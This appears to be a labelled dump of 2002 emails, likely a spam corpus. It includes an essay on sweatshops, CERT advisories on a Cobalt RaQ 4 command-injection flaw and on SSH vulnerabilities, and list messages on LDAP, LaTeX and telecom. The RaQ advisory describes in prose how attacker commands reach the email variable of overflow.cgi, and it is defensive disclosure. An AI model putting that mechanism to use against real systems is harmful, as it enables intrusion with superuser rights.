would never ask Japan to round up a bunch of laborers to produce a bunch of cheap t-shirts with Hawaiian Pride logos slashed all over the front and back of the loosely woven T-shirts. On the other hand, you wouldn�t even try to round up a bunch of aspiring techies in Malaysia to try to produce high - quality standard computer hardware for the fanatical and obsessed youthful population of America who is now enjoying the next video game craze. Each country should produce whatever is cheaper for that country. Then each country trades all products that they have made with one another. It would be illogical for a country to spend extra money producing particular items that are economically inconvenient because they lack the resources and technology to do it cheaper. American buyers are hypocrites. They complain and protest about the injustices all around the world, and the media has a lot to do with it. The media screams and yells about all the �bad� things but they fail to mention all the positive aspects of the situation. In addition, as I�ve mentioned before, Americans protest but they see nothing wrong when they are able to purchase an article of clothing for under $10 at their local department store. Even if the situation has regressed to an unbearable state, the workers themselves will see to it that the working condition laws will be revamped as soon as possible. They will protest, rebel, strike, do what ever is in their power to change the working conditions until it is satisfactory to them. If America is so arrogant to think that they like to be in a situation that will harm them or their families then we, as a country, insult their intelligence, third world jokes aside of course. The debate of sweatshops is ongoing and sometimes the lines between right and wrong blur, as most moral issues tend to do. But speaking from the position of a girl that grew up in a third world country, the benefits of sweatshops greatly outweighs the media -induced negative aspects of this issue. �Campaigns,� http://www.mcspotlight.org/cgi-bin/zv/debate/campaign/messages/479.html Guralnik, David B. Webster�s New World Dictionary, New York, Simon and Schuster, 1982. _________________________________________________________________ Add photos to your e-mail with MSN 8. Get 2 months FREE*. http://join.msn.com/?page=features/featuredemail ",0,1 CERT Advisory ,cert-advisory@cert.org,"Thu, 12 Dec 2002 11:17:15 -0500",CERT Advisory CA-2002-35 Vulnerability in RaQ 4 Servers," -----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2002-35 Vulnerability in RaQ 4 Servers Original release date: December 11, 2002 Last revised: -- Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected * Sun Cobalt RaQ 4 Server Appliances with the Security Hardening Package installed Overview A remotely exploitable vulnerability has been discovered in Sun Cobalt RaQ 4 Server Appliances running Sun's Security Hardening Package (SHP). Exploitation of this vulnerability may allow remote attackers to execute arbitrary code with superuser privileges. I. Description Cobalt RaQ 4 is a Sun Server Appliance. For background information on Cobalt RaQ 4, please see the COBALT RaQ 4 User Manual. Sun provides a Security Hardening Package (SHP) for Cobalt RaQ 4. Although the SHP is not installed by default, many users choose to install it on their RaQ 4 servers. For background information on the SHP, please see the SHP RaQ 4 User Guide. A vulnerability in the SHP may allow a remote attacker to execute arbitrary code on a Cobalt RaQ 4 Server Appliance. The vulnerability occurs in a cgi script that does not properly filter input. Specifically, overflow.cgi does not adequately filter input destined for the email variable. Because of this flaw, an attacker can use a POST request to fill the email variable with arbitrary commands. The attacker can then call overflow.cgi, which will allow the command the attacker filled the email variable with to be executed with superuser privileges. An exploit is publicly available and may be circulating. Further information about this vulnerability may be found in VU#810921 in the CERT/CC Vulnerability Notes Database. II. Impact A remote attacker may be able to execute arbitrary code on a Cobalt RaQ 4 Server Appliance with the SHP installed. III. Solution Apply a patch from your vendor Appendix A contains information provided by vendors for this advisory. As vendors report new information to the CERT/CC, we will update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. Please contact your vendor directly. Workarounds Block access to the Cobalt RaQ 4 administrative httpd server (typically ports 81/TCP and 444/TCP) at your network perimeter. Note that this will not protect vulnerable hosts within your network perimeter. It is important to understand your network configuration and service requirements before deciding what changes are appropriate. Caveats The patch supplied by Sun removes the SHP completely. If your operation requires the use of the SHP, you may need to find a suitable alternative. Appendix A. - Vendor Information Sun Microsystems Sun confirms that a remote root exploit does affect the Sun/Cobalt RaQ4 platform if the SHP (Security Hardening Patch) patch was installed. Sun has released a Sun Alert which describes how to remove the SHP patch: http://sunsolve.Sun.COM/pub-cgi/retrieve.pl?doc=fsalert/49377 The removal patch is available from: http://ftp.cobalt.sun.com/pub/packages/raq4/eng/RaQ4-en-Security-2.0.1-SHP_REM.pkg Appendix B. - References 1. CERT/CC Vulnerability Note: VU#810921 - http://www.kb.cert.org/vuls/id/810921 2. Sun SHP RaQ 4 User Guide - http://www.sun.com/hardware/serverappliances/pdfs/support/RaQ_4_SHP_UG.pdf 3. COBALT RaQ 4 User Manual - http://www.sun.com/hardware/serverappliances/pdfs/manuals/manual.raq4.pdf _________________________________________________________________ grazer@digit-labs.org publicly reported this vulnerability. _________________________________________________________________ Author: Ian A. Finlay. ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2002-35.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. Getting security information CERT publications and other security information are available from our web site http://www.cert.org/ To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message subscribe cert-advisory * ""CERT"" and ""CERT Coordination Center"" are registered in the U.S. Patent and Trademark Office. ______________________________________________________________________ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an ""as is"" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. _________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright 2002 Carnegie Mellon University. Revision History December 11, 2002: Initial release -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBPfe3rGjtSoHZUTs5AQGi9gP/YKUB3k9mabWL7w3OYun7zPpsYqtRRFgE zpG77X/wKuHoUjxMArn0thzBeGmpmM0WJ7o3boggArwmgLgm6XQTJyg76JDHKEU5 /ozCZnhd4C39veE08rL1qQgXYIlo56QIANDdCnBchl6Fe/41XYjKblIhlxItRfbM 2bpmCCLvQzk= =5ayh -----END PGP SIGNATURE----- ",0,1 Lance E Sloan ,dir@umich.edu,"Thu, 12 Dec 2002 15:18:50 -0500",Re: using ldapsearch w/ MOSX.2.2,"--On Thursday, December 12, 2002 15:01 -0500 Lance E Sloan wrote: > Joe mentioned that I can probably put some of those options in my > /etc/openldap/ldap.conf file. I'll give that a try. I ended up making a ~/.ldaprc that contains: # LDAP Defaults # See ldap.conf(5) for details BASE dc=umich, dc=edu URI ldap://ldap.itd.umich.edu And I can use ldapsearch like this: ldapsearch -xLLLP2 uid=lsloan 0.0 -- Lance E Sloan Web Services, Univ. of Michigan: Full-service Web and database design, development, and hosting. Specializing in Python & Perl CGIs. http://websvcs.itd.umich.edu/ - ""Putting U on the Web""",0,1 """Michael F. Vineyard"" ",gilfoyle ,"Fri, 13 Dec 2002 20:11:28 -0500",Re: moving one of the psc1 racks,"Hi Jerry, That's fine. Mike gilfoyle wrote: > yo, > > i was going to have adnan start to remove hardware from > one of the psc1 racks on monday. this would mean shutting > down psc1 so we can turn off the cpus in the second rack. > these would be cpus psc7-psc12. do you have any problems > with that? > > jerry > > -- > Dr. Gerard P. Gilfoyle > Physics Department e-mail: ggilfoyl@richmond.edu > University of Richmond, VA 23173 phone: 804-289-8255 > USA fax: 804-289-8482 -- Michael F. Vineyard Phone: (518) 388-8353 Department of Physics Fax: (518) 388-6947 Union College E-mail: vineyarm@union.edu Schenectady, NY 12308 http://www1.union.edu/~vineyarm ",0,1 ajdhfkajlh@yahoo.com,ggilfoyl@facstaff.richmond.edu,"Sat, 14 Dec 2002 23:22:34 +0500",�δ� �������� �������� ����ؼ� �����ϼ��� jsixuex a,z fvbr e zg ywmj xg,1,1 CERT Advisory ,cert-advisory@cert.org,"Mon, 16 Dec 2002 14:37:51 -0500",CERT Advisory CA-2002-36 Multiple Vulnerabilities in SSH Implementations," -----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2002-36 Multiple Vulnerabilities in SSH Implementations Original issue date: December 16, 2002 Last revised: -- Source: CERT/CC A complete revision history is at the end of this file. Systems Affected * Secure shell (SSH) protocol implementations in SSH clients and servers from multiple vendors Overview Multiple vendors' implementations of the secure shell (SSH) transport layer protocol contain vulnerabilities that could allow a remote attacker to execute arbitrary code with the privileges of the SSH process or cause a denial of service. The vulnerabilities affect SSH clients and servers, and they occur before user authentication takes place. I. Description The SSH protocol enables a secure communications channel from a client to a server. From the IETF draft SSH Transport Layer Protocol: The SSH transport layer is a secure low level transport protocol. It provides strong encryption, cryptographic host authentication, and integrity protection.... Key exchange method, public key algorithm, symmetric encryption algorithm, message authentication algorithm, and hash algorithm are all negotiated. Rapid7 has developed a suite (SSHredder) of test cases that examine the connection initialization, key exchange, and negotiation phase (KEX, KEXINIT) of the SSH transport layer protocol. The suite tests the way an SSH transport layer implementation handles invalid or incorrect packet and string lengths, padding and padding length, malformed strings, and invalid algorithms. The test suite has demonstrated a number of vulnerabilities in different vendors' SSH products. These vulnerabilities include buffer overflows, and they occur before any user authentication takes place. SSHredder was primarily designed to test key exchange and other processes that are specific to version 2 of the SSH protocol; however, certain classes of tests are also applicable to version 1. Further information about this set of vulnerabilities may be found in Vulnerability Note VU#389665. Rapid7 has published a detailed advisory (R7-0009) and the SSHredder test suite. Common Vulnerabilities and Exposures (CVE) has assigned the following candidate numbers for several classes of tests performed by SSHredder: * CAN-2002-1357 - incorrect field lengths * CAN-2002-1358 - lists with empty elements or multiple separators * CAN-2002-1359 - ""classic"" buffer overflows * CAN-2002-1360 - null characters in strings II. Impact The impact will vary for different vulnerabilities and products, but in severe cases, remote attackers could execute arbitrary code with the privileges of the SSH process. Both SSH servers and clients are affected, since both implement the SSH transport layer protocol. On Microsoft Windows systems, SSH servers commonly run with SYSTEM privileges, and on UNIX systems, SSH daemons typically run with root privileges. In the case of SSH clients, any attacker-supplied code would run with the privileges of the user who started the client program, with the possible exception of SSH clients that may be configured with an effective user ID of root (setuid root). Attackers could also crash a vulnerable SSH process, causing a denial of service. III. Solution Apply a patch or upgrade Apply the appropriate patch or upgrade as specified by your vendor. See Appendix A below and the Systems Affected section of VU#389665 for specific information. Restrict access Limit access to SSH servers to trusted hosts and networks using firewalls or other packet-filtering systems. Some SSH servers may have the ability to restrict access based on IP addresses, or similar effects may be achieved by using TCP wrappers or other related technology. SSH clients can reduce the risk of attacks by only connecting to trusted servers by IP address. While these workarounds will not prevent exploitation of these vulnerabilities, they will make attacks somewhat more difficult, in part by limiting the number of potential sources of attacks. Appendix A. Vendor Information This appendix contains information provided by vendors. When vendors report new information, this section is updated and the changes are noted in the revision history. If a vendor is not listed below, we have not received their comments. The Systems Affected section of VU#389665 contains additional vendor status information. Cisco Systems, Inc. The official statement regarding this is that we are not vulnerable. Cray Inc. Cray Inc. supports the OpenSSH product through their Cray Open Software (COS) package. COS 3.3, available the end of December 2002, is not vulnerable. If a site is concerned, they can contact their local Cray representive to obtain an early copy of the OpenSSH contained in COS 3.3. F-Secure F-Secure SSH products are not exploitable via these attacks. While F-Secure SSH versions 3.1.0 build 11 and earlier crash on these malicious packets, we did not find ways to exploit this to gain unauthorized access or to run arbitrary code. Furthermore, the crash occurs in a forked process so the denial of service attacks are not possible. Fujitsu Fujitsu's UXP/V OS is not vulnerable because it does not support SSH. IBM IBM's AIX is not vulnerabible to the issues discussed in CERT Vulnerability Note VU#389665. lsh I've now tried the testsuite with the latest stable release of lsh, lsh-1.4.2. Both the client and the server seem NOT VULNERABLE. NetScreen Technologies Inc. Tested latest versions. Not Vulnerable. OpenSSH From my testing it seems that the current version of OpenSSH (3.5) is not vulnerable to these problems, and some limited testing shows that no version of OpenSSH is vulnerable. Pragma Systems, Inc. December 16, 2002 Rapid 7 and CERT Coordination Center Vulnerability report VU#389665 Pragma Systems Inc. of Austin, Texas, USA, was notified regarding a possible vulnerability with Version 2.0 of Pragma SecureShell. Pragma Systems tested Pragma SecureShell 2.0 and the upcoming new Version 3.0, and found that the attacks did cause a memory access protection fault on Microsoft platforms. After research, Pragma Systems corrected the problem. The correction of the problem leads us to believe that any attack would not cause a Denial of Service, or the ability of random code to run on the server. The problem is corrected in Pragma SecureShell Version 3.0. Any customers with concerns regarding this vulnerability report should contact Pragma Systems, Inc at support@pragmasys.com for information on obtaining an upgrade free of charge. Pragma's web site is located at www.pragmasys.com and the company can be reached at 1-512-219-7270. PuTTY PuTTY 0.53b addresses vulnerabilities discovered by SSHredder. SSH Communications Security SSH Secure Shell products are not exploitable via these attacks. Appendix B. References * CERT/CC Vulnerability Note: VU#389665 - http://www.kb.cert.org/vuls/id/389665 * Rapid 7 Advisory: R7-0009 - http://www.rapid7.com/advisories/R7-0009.txt * Rapid 7 SSHredder test suite - http://www.rapid7.com/perl/DownloadRequest.pl?PackageChoice=666 * IETF Draft: SSH Transport Layer Protocol - http://www.ietf.org/internet-drafts/draft-ietf-secsh-transport-15. txt * IETF Draft: SSH Protocol Architecture - http://www.ietf.org/internet-drafts/draft-ietf-secsh-architecture- 13.txt * Privilege Separated OpenSSH - http://www.citi.umich.edu/u/provos/ssh/privsep.html _________________________________________________________________ The CERT Coordination Center thanks Rapid7 for researching and reporting these vulnerabilities. _________________________________________________________________ Author: Art Manion. ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2002-36.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. 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Revision History December 16, 2002: Initial release -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBPf4qimjtSoHZUTs5AQEGbAQAiJcA+QFf2mOElaPIFwEmSRC83xlKifq/ PlmaGbUx2UnwTIi8s2ETF8KjlfQjjgO20B4ms1MMaJ/heyxklOgpeBOQ2mpa2Tnd yIY7sxpBuRjF1qS6yQ8/OrcsSqVxdxZWkPLAypV11WcJlMmSxxLdKi5t86EsWic3 xazIo8XEipc= =Nj+0 -----END PGP SIGNATURE----- ",0,1 Mitchell Wand ,Types dist list ,"Mon, 16 Dec 2002 16:59:10 -0500",LaTeX resources,"Back in November, I wrote: > I'm about to initiate a group of 1st-year graduate students into the > mysteries of LaTeX, and in particular to the mysteries of writing > semantics equations, proof rules, etc., in LaTeX. > I have my own body of LaTeX2e macros and the source code for my papers > that they can look at, but I'm looking for other resources they could > use. In particular: > (1) What packages do you find helpful for writing semantics papers? > Please comment on usability, documentation, etc. > (2) Do you know of any guides to good TeX coding style, particularly > with respect to the difficulties of typesetting semantics? Here are some of the replies I received, in some cases with comments from me. Thanks to all who contributed-- I now have several different packages to investigate. Enjoy! --Mitch ---------------- > From: Vijay Saraswat > Would love to know what you come up with. Also, are your macros > available for others to use? No, alas. I have not made the effort to organize them into a form other folks can use. If I do so, I'll post an announcement here. ---------------- > From: Philip Wadler > I use Benjamin Pierce's macros for inference rules, > and Paul Taylor's macros for proofs. ------------------------------ > From: Didier Remy > I have written my own package for typechecking inference rules. Its main > feature is to enable typesettnig the rules independently of the page layout. > - Premisses can be written as a list and newlines will automatically be > inserted so as to fit as many premisses on the same line (explicit new > lines are also possible). > - Rules can be written as a list and new lines will automatically be > inserted so as to fit as many rules as possible on the same line. > The package is documented. The basic features are (I think) quite simple to > use. Advanced typesetting options may be less easy, but can be ignored. > See the url: > http://cristal.inria.fr/~remy/latex > [Typesetting Type Inference Rules] > By the way, you may want to tell your students about whizzytex as well, > which (I did not think about it before) might be also useful when learning > Latex: > WhizzyTeX provides a minor mode for Emacs or XEmacs, a (bash) > shell-script daemon and some LaTeX macros. It works under Unix with gv > and xdvi viewers, but the Active-DVI viewer will provided much better > visual effects and will offer more functionalities. > See the Url: > http://pauillac.inria.fr/whizzytex/ I don't use a wysiwyg viewer, but I typically use an xterm window running a script like while (1) make latest.ps sleep 2 end along with a Makefile that says things like .SUFFIXES: .dvi .tex .ps .tex.dvi: latex $* .dvi.ps: dvips $*.dvi TARGET = paper # or whatever latest.ps: $(TARGET).ps cp $(TARGET).ps latest.ps I can then run ghostview on latest.ps. The last Makefile recipe makes sure that latest.ps is almost always a valid file. --------------------------- > From: ""Christian Skalka"" > I like Didier Remy's mathpartir package, which is very > well-documented at: > http://pauillac.inria.fr/~remy/latex/ > I mainly use it to typeset inference rules, it does the job very > well. ------------------------------ > From: John.Reynolds@cs.cmu.edu > In the mid-eighties, I wrote a collection ""diagmac.tex"" of macros > for producing category-theoretic diagrams, and a collection > ""catmac.tex"" for various notations of category theory and > programming language semantics. I've been using them ever since, > and would recommend them to anyone who likes the appearance of > of my papers. Surprisingly, they work with modern Latex2e as > well as they ever did. The biggest defect is that lines in the > diagrams must have slopes printable by the Latex picture facility. > These macros are available from my ftp directory, which is pointed > to by my web page at www.cs.cmu.edu/~jcr. (Read the README in the > ftp directory.) > As long as I am on this subject, I'll air a few of my prejudices. > An underlying theme in programming language semantics is that > programming languages are mathematical in nature - yet we often > see texts in semantics in which excerpts from programing languages > (even theoretical languages that have never bee implemented) are > set in typewriter font. In contrast, I believe one should make the > language text look as much like mathematical material as possible. > For example, programs become much more readable when expressions > use operators such as \\times, \\wedge, or \\vee, and are spaced the > same way as in mathematics. It is also very helpful to use several > sizes of parentheses. > However, there is one problem. It is vital in the exposition of > semantics to make clear the distinction between object languages > and metalanguage. For this reason, it is strongly advisable to set > object-language variables in a different font than metalanguage > variables. I usually set object-language variables in sans serif > and metavariables in italics, which makes the distinction clear > but not obtrusive. > When I wrote ""Theories of Programming Languages"" for Cambridge > University Press, I did my own typesetting, and as a consequence, > got a free course in proper mathematical typesetting of mathematics > from my editor and copyeditor. Probably the most important things > I learned were: > (1) To align sequences of formulas on their main operator. > (2) To leave less vertical space between lines of a multi-line > formula than between formulas. > The advanced features of arrays in Latex are very useful for (1). > As for (2), it is useful to define standard end-of-lines with > different spacing for use in arrays. Bob Tennant offered an endorsement of John's macros. ------------------------------ > From: ""Vincent Danos"" > I'm using this little known (i think) package > attached for typing derivations and the like. Vincent included a copy of bussproofs.sty, which is available at http://math.ucsd.edu/~sbuss/ResearchWeb/bussproofs . Yiannis Moschovakis recommends this package in his ""Document Preparation for ASL Publications"". He says it is ""simple to use (and to debug) and produces very good output. There are, however, many other excellent packages which some authors may prefer."" ------------------------------ > From: Dan Grossman > A draft of my dissertation is available at: > http://www.cs.cornell.edu/home/danieljg/tldi_draft.pdf > There you can see dozens of figures full of operational semantics and > typing judgments. > I would be happy to share my sources with you and your students. I've > been pretty pleased with my ability to write latex that is usually still > readable, at least to me. > I'm not sure I've developed any guidelines or style other than: > (a) define a macro for each judgement. For example, write > \\typecheck{\\Gamma}{e}{\\T} instead of \\G\\vdash e : \\T > (b) Give the different judgments names. I've been happy with: > \\newcommand \\proves[1] {\\vdash_{\\!\\!\\!\\mbox{\\tiny{\\textup{{#1}}}}}} I'd endorse these guidelines enthusiastically. Using a macro means that the spacing will be the same for all the instances of a judgement-- something that's almost impossible to get right manually. And I'd write {\\typecheck {\\Gamma} {e} {\\T}} -- the extra braces help with missing or extra arguments and the like, and the extra spaces help readability. Another trick I've used is to have series of variables, eg \\newcommand\\exp[1]{e_{#1}} That way I can write \\exp1, \\exp2, or \\exp{}, and if I decide to switch from e to E or G or whatever I can do it in one place. ---------------- > From: Ken Shan > I find AMS-LaTeX immensely useful; more specifically, the mathematical > typesetting macros in the amsmath package are a lot better implemented > than the default ones in LaTeX. For example, the eqnarray environment > in LaTeX for lining up equations generate way too much whitespace; the > align environment in AMS-LaTeX does it right. Also useful are \\text and > \\DeclareMathOperator. > The Comprehensive LaTeX Symbol List is great browsing (procrastination?) > when you're looking for just the right notation. > The url package deals with line breaking and tildes in file names and > URLs -- useful in citations. > If you use Times instead of Computer Modern for body text, be sure that > your math font is also Times instead of Computer Modern, or the > combination would look quite ugly. Use either mathtime or txfonts; as a > bonus, txfonts has more symbols. > If you ever need a bibliography in the Chicago Manual of Style format, > my mcbride.bst bibliography style does it better than alternatives > (http://www.digitas.harvard.edu/cgi-bin/wiki/ken/McBride). ------------------------------ > From: Pierre Lescanne > Good topics indeed. Til last summer I used macros of the form > \\newcommand{\\inferSideLabel}[4]{ > {#1} \\;\\; > \\begin{array}{c} > #2 \\\\ > \\hline \\noalign{\\vskip 1pt}#3 > \\end{array} > \\quad {#4}} > one for each kind of semantic rule, which my coauthor told me was due > to some third person. > Since I changed co-author (only for scientific reasons) and I have > been convinced to uses ""prooftree"" style and I am happy, I can tell > you why, if you wish. > Since I made a try with LyX, which is nice in other respects, but I > was disappointed with prooftree in this environment. ------------------------------ > From: Andrei Sabelfeld > > (1) What packages do you find helpful for writing semantics papers? > > Please comment on usability, documentation, etc. > My typical paper uses stmaryrd (especially for > denotational semantics) and amsmath plus sometimes latexsym > and amssymb. These are all for semantic notation, so > the documentation doesn't have to be complicated - > simple tables with commands and their output are enough. > I also use pstricks and pst-node with their original documentation > available online - quite useful for drawing simple charts. > For more complicated charts I use more advanced graphic > editors and then plug eps-figures using the epsfig package. > > (2) Do you know of any guides to good TeX coding style, particularly > > with respect to the difficulties of typesetting semantics? > Not really. It seems there are many special-purpose > packages and self-coded macros, but I'm not aware > of a single authoritative source. ------------------------------ > From: Viktor Kuncak > I would just like to mention my very recent positive > experience in using preview-latex package for Linux. > The advantage of the package is that it allows editing the > text in emacs as usual, but then allows selectively > previewing parts of latex code. The important thing is that > it work with multiple latex files and it works with > user-defined macros. > You may find a quick description of how I got it to work > properly here: > http://www.cag.lcs.mit.edu/~vkuncak/pac/resource/auctex.txt ---- End of Digest ---",0,1 vj ,"""D0-bPhys@fnal.gov"" ","Wed, 18 Dec 2002 10:23:38 -0600",new root-trees,"Dear All, There is a new set of single muon and dimuon skims. Please look in, /work/creek-clued0/tmb-trees/p1304_dec_set2_v3 (root-trees are being copied over from d0mino) The single muon skim should have 2,945,462 events and the dimuon skim, 595,444. In this set, dimuons were chosen with events having a ""dimuon trigger"" and ""nseg>=1"" muons. Single muons were chosen with the ""single muon trigger"" and nseg=3 cuts. The same event can be in both skims (since an event can fire both the single and dimuon triggers). Please take a look and let us know if there are any problems. Vivek p.s. the old set can be found at, /work/cherokee-clued0/tmb-trees/p1304_dec_set1_v2 ",0,0 editor@telecom-digest.org,ptownson,"Wed, 18 Dec 2002 14:30:59 -0500",TELECOM Digest V22 #195,"TELECOM Digest Wed, 18 Dec 2002 14:31:00 EST Volume 22 : Issue 195 Inside This Issue: Editor: Patrick A. Townson Telmarketer or Former Telemarketer Wanted: TV Show Guest (Betsy Goldman) Dmitry Aquitted in Criminal Copyright Trial! (Danny Burstein) National Branding (Joey Lindstrom) Re: The Farce of National Branding (Barry Margolin) Re: The Farce of National Branding (Ron Chapman) Re: The Farce of National Branding (Steven J. Sobol) Re: The Farce of National Branding (Michael A. Chance) Re: 011+ From NANP vs. 00+ From Most of World (Colum Mylod) Re: 011+ From NANP vs. 00+ From Most of World (Alan Burkitt-Gray) Re: Query About Pulse Dialing (John Higdon) Re: Query About Pulse Dialing (Tom Schmidt) Re: Are All 900 Number Providers Hype Artists? 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See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- From: Betsy Goldman Subject: Telemarketer or Former Telemarketer Wanted for TV Show Interview Date: Wed, 18 Dec 2002 11:32:49 -0500 Im looking for a telemarketer-or former telemarketer to appear on Connie Chung Tonight -- can you help me? Betsy Goldman Connie Chung Tonight 1271 Ave of the Americas CNN, 4th Floor New York, New York 10019 212-522-4590 Work 404-915-0888 Cell [TELECOM Digest Editor's Note: We will see what we can do to find an example of that Species for you. Readers, contact Betsy direct. PAT] ------------------------------ From: danny burstein Subject: ElcomSoft (as in ""Dmitry"") Cleared in the DMCA Case Date: Wed, 18 Dec 2002 01:22:32 -0500 Organization: PANIX Public Access Internet and UNIX, NYC Acquittal in First Criminal Copyright Trial The Recorder A federal jury in San Jose, Calif., Tuesday found that a Russian software company did not commit a crime by issuing code-busting computer software, serving up a high-profile defeat for U.S. Attorney Kevin Ryan and other prosecutors who hope to use the Digital Millennium Copyright Act to charge such actions as a crime. ElcomSoft was the first defendant to face a criminal trial under the DMCA, passed in 1998. [ snippety snip, rest at: http://www.law.com/jsp/article.jsp?id=1039054467587 and, for the EFF's press release: : http://www.eff.org/IP/DMCA/US_v_Elcomsoft/20021217_eff_pr.html Knowledge may be power, but communications is the key dannyb@panix.com [to foil spammers, my address has been double rot-13 encoded] ------------------------------ From: Joey Lindstrom Date: Wed, 18 Dec 2002 10:19:08 -0700 Subject: National Branding Reply-To: joey@telussucks.info On Wed, 18 Dec 2002 00:35:10 -0500 (EST), John Higdon wrote: >> John, you're now rolling into the realm of the ridiculous in order to >> try to keep your ""national branding is a farce"" assertion alive at any >> cost. Face it: what you assert isn't the case. > Some people have brought up some notable exceptions to my assertion, > and I acknowledged up front that such exceptions existed. The bottom > line is that I could name a whole lot more examples of meaningless > brand names than anyone could name exceptions. That makes it a ""rule"" > of sorts. Sure -- once you put up or shut up. I've seen several people here citing many examples, a lot more than you've cited, so right now it looks like the ""rule"" is that the opposite assertion is correct. Anybody can claim ""well, I could name a whole lot more examples"", but until you actually do, the burden of proof by the defense has been met. Your case has not been made. I find the defense ""not guilty"" by reason of lazy prosecution. As for the evidence submitted so far, I think that you're probably right in that the value of brand names is SOMEWHAT diminished compared to days gone by (time was, people would stick with a particular brand name or product come hell or high water, and would drive 30 miles to get it if their local retailer was out of stock, shunning alternative products), but the case that ""national branding is a farce"" simply has not been made, by you or anyone else here. I live in a town where the Calgary Flames once proudly played in the ""Calgary Olympic Saddledome"", but who found their building renamed twice in three years, first to ""Canadian Airlines Saddledome"" and then, when Canadian Airlines merged with Air Monopo^H^H^H^H^H^HCanada, to ""Pengrowth Saddledome"". Hell, I don't even know what a Pengrowth is, but I sure as heck know what the Olympics are. That was a sickening example of excising something proud and noble for the sake of corporate branding, but I still say you haven't made your case. -- Telus Truly Sucks -- http://www.telussucks.info [TELECOM Digest Editor's Note: Poor John. Why do so many of you guys pick on him all the time? He means well. PAT] ------------------------------ From: Barry Margolin Subject: Re: The Farce of National Branding Organization: Genuity, Woburn, MA Date: Wed, 18 Dec 2002 15:26:12 GMT In article , John Higdon wrote: > There are many more examples than telecom in the world of meaningless > branding. Since I began with the naming of sports facilities, I'll > mention this: the San Jose Arena (home of the Sharks hockey team) sold > its name to Compaq. It is now called the ""HP Pavillion"" under the same > contract. > Yet another example of a meaningless brand name. Of course, when names change every year, it's hard for a brand to have as much significance as a century-old name like Coca Cola. But what are the companies supposed to do? They can't predict whether their name is going to change or not. Should they just give up on branding, on the assumption that the name will change a year or two later? And what happens if they end up being one of the lucky ones with a stable name? They could have been building brand name recognition all that time, but ended up wasting the opportunity. Finally, if your name changes, branding seems like an immensely sensible thing to do. It's an easy way to get your new name into the public consciousness, i.e. it's cheap advertising. Barry Margolin, barmar@genuity.net Genuity, Woburn, MA *** DON'T SEND TECHNICAL QUESTIONS DIRECTLY TO ME, post them to newsgroups. Please DON'T copy followups to me -- I'll assume it wasn't posted to the group. ------------------------------ Date: Wed, 18 Dec 2002 07:42:31 -0500 From: Ron Chapman Subject: Re: The Farce of National Branding In article , John Higdon wrote: > Some people have brought up some notable exceptions to my assertion, > and I acknowledged up front that such exceptions existed. The bottom > line is that I could name a whole lot more examples of meaningless > brand names than anyone could name exceptions. Sorry, John. Most of the examples you've brought up, as I've pointed out, are you stretching things, many beyond rational thought, to try to ""prove"" your assertion. > There are many more examples than telecom in the world of meaningless > branding. I won't say it doesn't happen. But you say it ALWAYS happens, and that virtually NO national branding has any meaning. But I've said it two or three times, and I'll say it again: you live in your own little technology world, which has colored your perception of the REAL world. > Since I began with the naming of sports facilities, I'll > mention this: the San Jose Arena (home of the Sharks hockey team) sold > its name to Compaq. It is now called the ""HP Pavillion"" under the same > contract. > Yet another example of a meaningless brand name. And there you go, yet again going to your technology world to try to prove a point about the entire world at large. You live in that little technology world, which operates far, far differently than the rest of the world. And the technology world, despite what you seem to think, is a very, very small piece of the world at large. It's up to you, John, if you want to think that the technology world is a perfectly representative microcosm of the entire world. But you'd be wrong if you did think that. ------------------------------ From: sjsobol@JustThe.net (Steven J. Sobol) Subject: Re: The Farce of National Branding Date: Wed, 18 Dec 2002 11:47:36 -0000 Organization: JustThe.net LLC Gail M. Hall' wrote: [re. Ameritech Ohio] > Well, they may still have offices downtown, but it is apparently a > mere shell of its old self now for quite a while. > It was around the time of the really big layoffs when they started > printing the ""800"" numbers in the phone book for repair and other > services from the company. So instead of an easy-to-remember 3-digit > number ... ... which they could have kept anyhow, even if it didn't forward to Cleveland. I believe there is still a call center downtown. Unless several people at the call center lied to me, that is. (I'm not discounting that possibility. :) It seems that SBC's Ohio customers may still be dialing Cleveland for customer service and repair. Steve Sobol, CTO JustThe.net LLC, Mentor On The Lake, OH http://JustTheNetLLC.com/ 888.480.4NET (4638) A practicing member of the Geek Orthodox religion! ------------------------------ From: Michael A. Chance Subject: Re: The Farce of National Branding Organization: Prodigy Internet http://www.prodigy.com Date: Wed, 18 Dec 2002 12:19:59 GMT In article , Steven J. Sobol says... > Al Iverson also noted: >> How odd. Just to pick a few examples, say Pepsi, Coors, and >> Anheuser-Busch, it doesn't SEEM that they're made in ""generic plants"" >> where ""competing brands"" are made as well. > In fact, the AB breweries I've seen in Columbus, Ohio and St. Louis seem > real enough. Here in St. Louis, we tend to refer to the Anheuser-Busch facilities as ""that modest little brewery on Pestalozzi Street."" Michael Chance ------------------------------ From: Colum Mylod Subject: Re: 011+ From NANP vs. 00+ 